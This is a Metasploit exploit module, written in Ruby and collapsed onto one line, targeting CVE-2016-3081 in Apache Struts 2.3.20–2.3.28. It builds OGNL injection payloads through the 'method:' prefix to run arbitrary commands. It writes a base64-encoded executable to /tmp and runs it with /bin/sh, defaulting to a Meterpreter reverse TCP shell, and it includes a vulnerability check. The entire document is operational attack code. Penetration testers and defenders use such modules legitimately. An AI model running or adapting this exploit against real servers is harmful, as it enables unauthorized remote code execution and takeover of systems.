## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Struts Dynamic Method Invocation Remote Code Execution', 'Description' => %q{ This module exploits a remote command execution vulnerability in Apache Struts version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code Execution can be performed via method: prefix when Dynamic Method Invocation is enabled. }, 'Author' => [ 'Nixawk' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2016-3081' ], [ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ] ], 'Platform' => %w{ linux }, 'Privileged' => true, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp_uuid' }, 'Targets' => [ ['Linux Universal', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] ], 'DisclosureDate' => 'Apr 27 2016', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']), OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil]) ], self.class) end def print_status(msg='') super("#{peer} - #{msg}") end def send_http_request(payload) uri = normalize_uri(datastore['TARGETURI']) res = send_request_cgi( 'uri' => "#{uri}#{payload}", 'method' => 'POST') if res && res.code == 404 fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI') end res end def parameterize(params) # params is a hash URI.escape(params.collect { |k, v| "#{k}=#{v}" }.join('&')) end def generate_rce_payload(code, params_hash) payload = "?method:" payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS") payload << "," payload << Rex::Text.uri_encode(code) payload << "," payload << Rex::Text.uri_encode("1?#xx:#request.toString") payload << "&" payload << parameterize(params_hash) payload end def temp_path @TMPPATH ||= lambda { path = datastore['TMPPATH'] return nil unless path unless path.end_with?('/') path << '/' end return path }.call end def upload_file(filename, content) var_a = rand_text_alpha_lower(4) var_b = rand_text_alpha_lower(4) var_c = rand_text_alpha_lower(4) var_d = rand_text_alpha_lower(4) code = "##{var_a}=new sun.misc.BASE64Decoder()," code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_c}[0])))," code << "##{var_b}.write(##{var_a}.decodeBuffer(#parameters.#{var_d}[0]))," code << "##{var_b}.close()" params_hash = { var_c => filename, var_d => content } payload = generate_rce_payload(code, params_hash) send_http_request(payload) end def execute_command(cmd) var_a = rand_text_alpha_lower(4) var_b = rand_text_alpha_lower(4) var_c = rand_text_alpha_lower(4) var_d = rand_text_alpha_lower(4) var_e = rand_text_alpha_lower(4) var_f = rand_text_alpha_lower(4) code = "##{var_a}=@java.lang.Runtime@getRuntime().exec(#parameters.#{var_f}[0]).getInputStream()," code << "##{var_b}=new java.io.InputStreamReader(##{var_a})," code << "##{var_c}=new java.io.BufferedReader(##{var_b})," code << "##{var_d}=new char[1024]," code << "##{var_c}.read(##{var_d})," code << "##{var_e}=@org.apache.struts2.ServletActionContext@getResponse().getWriter()," code << "##{var_e}.println(##{var_d})," code << "##{var_e}.close()" cmd.tr!(' ', '+') if cmd && cmd.include?(' ') params_hash = { var_f => cmd } payload = generate_rce_payload(code, params_hash) send_http_request(payload) end def linux_stager payload_exe = rand_text_alphanumeric(4 + rand(4)) path = temp_path || '/tmp/' payload_exe = "#{path}#{payload_exe}" b64_filename = Rex::Text.encode_base64(payload_exe) b64_content = Rex::Text.encode_base64(generate_payload_exe) print_status("Uploading exploit to #{payload_exe}") upload_file(b64_filename, b64_content) print_status("Attempting to execute the payload...") execute_command("chmod 700 #{payload_exe}") execute_command("/bin/sh -c #{payload_exe}") end def exploit linux_stager end def check var_a = rand_text_alpha_lower(4) var_b = rand_text_alpha_lower(4) addend_one = rand_text_numeric(rand(3) + 1).to_i addend_two = rand_text_numeric(rand(3) + 1).to_i sum = addend_one + addend_two flag = Rex::Text.rand_text_alpha(5) code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter()," code << "##{var_a}.print(#parameters.#{var_b}[0])," code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two}))," code << "##{var_a}.print(#parameters.#{var_b}[0])," code << "##{var_a}.close()" params_hash = { var_b => flag } payload = generate_rce_payload(code, params_hash) begin resp = send_http_request(payload) rescue Msf::Exploit::Failed return Exploit::CheckCode::Unknown end if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}") Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end end end